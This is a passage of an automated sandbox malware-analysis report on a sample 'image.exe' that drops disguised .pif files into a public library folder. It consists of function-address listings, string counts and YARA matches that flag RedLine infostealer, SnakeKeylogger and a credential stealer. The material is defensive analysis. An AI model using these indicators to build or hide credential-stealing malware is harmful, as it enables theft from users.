            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7B98787_2_2B7B9878
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7BFC687_2_2B7BFC68
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7BE0587_2_2B7BE058
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7B7C587_2_2B7B7C58
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7BAE587_2_2B7BAE58
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7B00407_2_2B7B0040
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7BF6387_2_2B7BF638
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7B92387_2_2B7B9238
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7BC4387_2_2B7BC438
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7BC42B7_2_2B7BC42B
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7BF6297_2_2B7BF629
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7B001B7_2_2B7B001B
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7BDA187_2_2B7BDA18
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7BA8187_2_2B7BA818
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7BA8077_2_2B7BA807
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7B04FB7_2_2B7B04FB
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7BD6F87_2_2B7BD6F8
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7BA4F87_2_2B7BA4F8
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7BA4EB7_2_2B7BA4EB
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7B88D87_2_2B7B88D8
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7BBAD87_2_2B7BBAD8
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7BECC87_2_2B7BECC8
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7B9EB87_2_2B7B9EB8
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7BD0B87_2_2B7BD0B8
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7BE6987_2_2B7BE698
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7B82987_2_2B7B8298
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7BB4987_2_2B7BB498
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7B828B7_2_2B7B828B
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7B0E877_2_2B7B0E87
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C64407_2_2B7C6440
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7CCA907_2_2B7CCA90
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C35607_2_2B7C3560
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C03607_2_2B7C0360
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C4B407_2_2B7C4B40
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C19407_2_2B7C1940
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C61207_2_2B7C6120
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C2F207_2_2B7C2F20
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C45007_2_2B7C4500
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C13007_2_2B7C1300
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C41E07_2_2B7C41E0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C0FE07_2_2B7C0FE0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7CE1C87_2_2B7CE1C8
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C57C07_2_2B7C57C0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C25C07_2_2B7C25C0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7CE1B87_2_2B7CE1B8
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C3BA07_2_2B7C3BA0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C09A07_2_2B7C09A0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C09917_2_2B7C0991
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C51807_2_2B7C5180
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C1F807_2_2B7C1F80
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C4E607_2_2B7C4E60
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C1C607_2_2B7C1C60
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C32407_2_2B7C3240
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C00407_2_2B7C0040
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7CF4287_2_2B7CF428
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C48207_2_2B7C4820
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C16207_2_2B7C1620
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C2C007_2_2B7C2C00
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C5E007_2_2B7C5E00
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7CE0FB7_2_2B7CE0FB
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C5AE07_2_2B7C5AE0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C28E07_2_2B7C28E0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C3EC07_2_2B7C3EC0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C0CC07_2_2B7C0CC0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C54A07_2_2B7C54A0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C22A07_2_2B7C22A0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C38807_2_2B7C3880
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7C06807_2_2B7C0680
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7D0AB87_2_2B7D0AB8
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7D2DB07_2_2B7D2DB0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7D03B87_2_2B7D03B8
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7DA6307_2_2B7DA630
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7D26B07_2_2B7D26B0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7D18B07_2_2B7D18B0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7D1FB07_2_2B7D1FB0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7D3E907_2_2B7D3E90
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7D9CF47_2_2B7D9CF4
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7D11B07_2_2B7D11B0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7D00407_2_2B7D0040
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7D00377_2_2B7D0037
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7D26A37_2_2B7D26A3
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7D18A37_2_2B7D18A3
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7D1FA17_2_2B7D1FA1
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7D9CE87_2_2B7D9CE8
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7D91687_2_2B7D9168
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7D91587_2_2B7D9158
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B7DB5D77_2_2B7DB5D7
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2BFACCB97_2_2BFACCB9
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2BFA03D47_2_2BFA03D4
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2BFADB607_2_2BFADB60
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2BFADB577_2_2BFADB57
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2BFA64B87_2_2BFA64B8
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_1_00408C607_1_00408C60
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_1_0040DC117_1_0040DC11
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_1_00407C3F7_1_00407C3F
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_1_00418CCC7_1_00418CCC
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_1_00406CA07_1_00406CA0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_1_004028B07_1_004028B0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_1_0041A4BE7_1_0041A4BE
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_1_00408C607_1_00408C60
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_1_004182447_1_00418244
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_1_004016507_1_00401650
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_1_00402F207_1_00402F20
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_1_004193C47_1_004193C4
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_1_004187887_1_00418788
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_1_00402F897_1_00402F89
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_1_00402B907_1_00402B90
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_1_004073A07_1_004073A0
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: 9_2_02ED20C49_2_02ED20C4
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_00408C6014_2_00408C60
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_0040DC1114_2_0040DC11
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_00407C3F14_2_00407C3F
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_00418CCC14_2_00418CCC
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_00406CA014_2_00406CA0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_004028B014_2_004028B0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_0041A4BE14_2_0041A4BE
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_00408C6014_2_00408C60
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_0041824414_2_00418244
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_0040165014_2_00401650
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_00402F2014_2_00402F20
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_004193C414_2_004193C4
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_0041878814_2_00418788
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_00402F8914_2_00402F89
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_00402B9014_2_00402B90
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_004073A014_2_004073A0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_25B6156014_2_25B61560
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_25B612B414_2_25B612B4
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_25B612C014_2_25B612C0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_2853BAC014_2_2853BAC0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_2853ABD014_2_2853ABD0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_2853BD9F14_2_2853BD9F
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_2853C07F14_2_2853C07F
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_2853F0C814_2_2853F0C8
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_285341E014_2_285341E0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_2853B22D14_2_2853B22D
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_2853B4FF14_2_2853B4FF
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_2853D49014_2_2853D490
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_2853B7DF14_2_2853B7DF
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_2853AC2014_2_2853AC20
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_2853336D14_2_2853336D
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_285333B514_2_285333B5
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_2853D48914_2_2853D489
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_2853E5D914_2_2853E5D9
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_2853E5E814_2_2853E5E8
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_29E4B58014_2_29E4B580
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_29E4855014_2_29E48550
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_29E4350814_2_29E43508
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_29E4004014_2_29E40040
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_29E4780814_2_29E47808
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_29E4073814_2_29E40738
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_29E40E3814_2_29E40E38
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_29E4EDED14_2_29E4EDED
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_29E4EDF814_2_29E4EDF8
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_29E4B9D414_2_29E4B9D4
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_29E4B9D814_2_29E4B9D8
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_29E4E9A014_2_29E4E9A0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_29E4E99314_2_29E4E993
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_29E4B56F14_2_29E4B56F
            Source: Joe Sandbox ViewDropped File: C:\Users\Public\Libraries\nhpoymuP.pif BDFA725EC2A2C8EA5861D9B4C2F608E631A183FCA7916C1E07A28B656CC8EC0C
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: String function: 02CA480C appears 619 times
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: String function: 02CA46A4 appears 154 times
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: String function: 02CB8798 appears 48 times
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: String function: 02EE8798 appears 48 times
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: String function: 02ED46A4 appears 154 times
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: String function: 02ED480C appears 619 times
            Source: C:\Users\user\Desktop\image.exeCode function: String function: 02C944D0 appears 32 times
            Source: C:\Users\user\Desktop\image.exeCode function: String function: 02CA8798 appears 54 times
            Source: C:\Users\user\Desktop\image.exeCode function: String function: 02CA881C appears 45 times
            Source: C:\Users\user\Desktop\image.exeCode function: String function: 02C946A4 appears 244 times
            Source: C:\Users\user\Desktop\image.exeCode function: String function: 02C9480C appears 931 times
            Source: C:\Users\user\Desktop\image.exeCode function: String function: 02C944AC appears 73 times
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: String function: 00415639 appears 36 times
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: String function: 0040FB9C appears 60 times
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: String function: 0040D606 appears 144 times
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: String function: 0040E1D8 appears 258 times
            Source: image.exe, 00000000.00000002.1744877081.0000000021E00000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenameRemington.exe4 vs image.exe
            Source: image.exe, 00000000.00000002.1741511764.0000000020B27000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenameeasinvoker.exej% vs image.exe
            Source: image.exe, 00000000.00000002.1741511764.0000000020B27000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenameTruesight4 vs image.exe
            Source: image.exe, 00000000.00000003.1702655270.000000007E8B0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenameTruesight4 vs image.exe
            Source: image.exe, 00000000.00000003.1702655270.000000007E8B0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenameeasinvoker.exej% vs image.exe
            Source: image.exe, 00000000.00000003.1702911770.00000000218F6000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameeasinvoker.exej% vs image.exe
            Source: image.exe, 00000000.00000002.1741511764.0000000020B5B000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenameeasinvoker.exej% vs image.exe
            Source: image.exe, 00000000.00000002.1741511764.0000000020B5B000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenameTruesight4 vs image.exe
            Source: image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenameeasinvoker.exej% vs image.exe
            Source: image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenameTruesight4 vs image.exe
            Source: image.exe, 00000000.00000003.1702911770.0000000021925000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameeasinvoker.exej% vs image.exe
            Source: image.exe, 00000000.00000003.1703150557.000000002192E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameTruesight4 vs image.exe
            Source: image.exe, 00000000.00000003.1703150557.00000000218D1000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameTruesight4 vs image.exe
            Source: image.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
            Source: 3.1.nhpoymuP.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
            Source: 7.2.nhpoymuP.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
            Source: 14.1.nhpoymuP.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
            Source: 14.1.nhpoymuP.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
            Source: 7.2.nhpoymuP.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
            Source: 3.1.nhpoymuP.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
            Source: 14.2.nhpoymuP.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
            Source: 7.1.nhpoymuP.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
            Source: 14.2.nhpoymuP.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
            Source: 14.2.nhpoymuP.pif.28470000.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 14.2.nhpoymuP.pif.28470000.3.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 14.2.nhpoymuP.pif.28470000.3.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 14.2.nhpoymuP.pif.25d2a8c6.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 14.2.nhpoymuP.pif.25d2a8c6.1.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 14.2.nhpoymuP.pif.25d2a8c6.1.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 3.2.nhpoymuP.pif.31c30000.6.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 3.2.nhpoymuP.pif.31c30000.6.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 3.2.nhpoymuP.pif.31c30000.6.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 3.2.nhpoymuP.pif.31c30ee8.7.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 3.2.nhpoymuP.pif.31c30ee8.7.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 3.2.nhpoymuP.pif.31c30ee8.7.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 7.2.nhpoymuP.pif.27840000.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 7.2.nhpoymuP.pif.27840000.3.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 7.2.nhpoymuP.pif.27840000.3.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
